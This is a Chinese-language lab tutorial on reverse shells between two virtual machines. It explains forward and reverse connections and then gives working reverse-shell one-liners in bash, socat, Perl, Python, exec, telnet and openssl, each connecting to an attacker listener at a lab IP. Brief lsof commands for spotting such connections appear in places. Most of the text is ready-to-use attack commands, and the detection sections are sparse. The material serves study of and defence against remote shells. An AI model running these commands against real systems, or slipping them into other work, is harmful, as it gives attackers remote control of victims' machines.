前提
理解正向连接和反向连接
正向连接:客户端主动发起连接到服务器或目标系统客户端充当主动方,向服务器发起连接请求,然后服务器接受并处理请求。
反向连接:目标系统(通常是受害者)主动建立与控制系统或服务器的连接。目标系统充当客户端,主动连接到远程服务器或控制服务器,以接受命令并将结果返回。
人话:正向:我们攻击者去主动连接受害者
反向:我们攻击者设定一个服务端,受害者主动来连接那个服务端
反弹Shell的本质是将攻击机的输入输出重定向到远程的socket连接上,从而实现远程控制被攻击机的目的。
反弹shell的排查可以从进程,流量这两个角度出发
环境配置
centos7(192.168.157.141)
ub(192.168.157.135)
两台虚拟机
Bash
1
先在ub上监听9999端口
nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
-l 监听模式,用于入站连接
-v 详细输出--用两个-v可得到更详细的内容
-p port 本地端口号
再让centos7来连接
bash -i代表在本地打开一个bash
>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到ub
/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接
ub开启对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出
排查
排查思路
sudo lsof -n | grep ESTABLISHED | grep -E '0u|1u|2u'
Socat
1
攻击者:nc -lvp 8989
受害者:socat exec:‘bash -li’,pty,stderr,setsid,sigint,sane tcp:ip:8989
排查思路
lsof -n | grep ESTABLISHED |grep -E ‘*u’
perl
攻击者:nc -nvlp 8888
受害者:perl -e 'use Socket;$i="192.168.157.135";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
或者 以下不依赖于/bin/sh的Shell
perl -MIO -e '$p=fork; exit, if $p; $c=new IO::Socket::INET(PeerAddr,"192.168.157.135:8888"); STDIN->fdopen($c,r); STDOUT->fdopen($c,w); system$_ while<>;'
第一种
第二种
排查
python
原理
攻击者:nc -lvp 7777
受害者:python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.157.135',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
排查
exec
攻击者:nc -nvlp 6666
受害者:0<&196;exec 196<>/dev/tcp/192.168.157.135/6666; sh <&196 >&196 2>&196
排查
telnet
攻击者:
nc -nvlp 6666#输入命令
nc -nvlp 1234#输出命令
受害者:
telnet 192.168.157.135 6666| /bin/bash | telnet 192.168.157.135 1234
排查
Openssl
攻击者:openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
受害者:mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.157.135:4444 > /tmp/s; rm /tmp/s
然后可以用wireshark查看流量包,发现全是tls加密的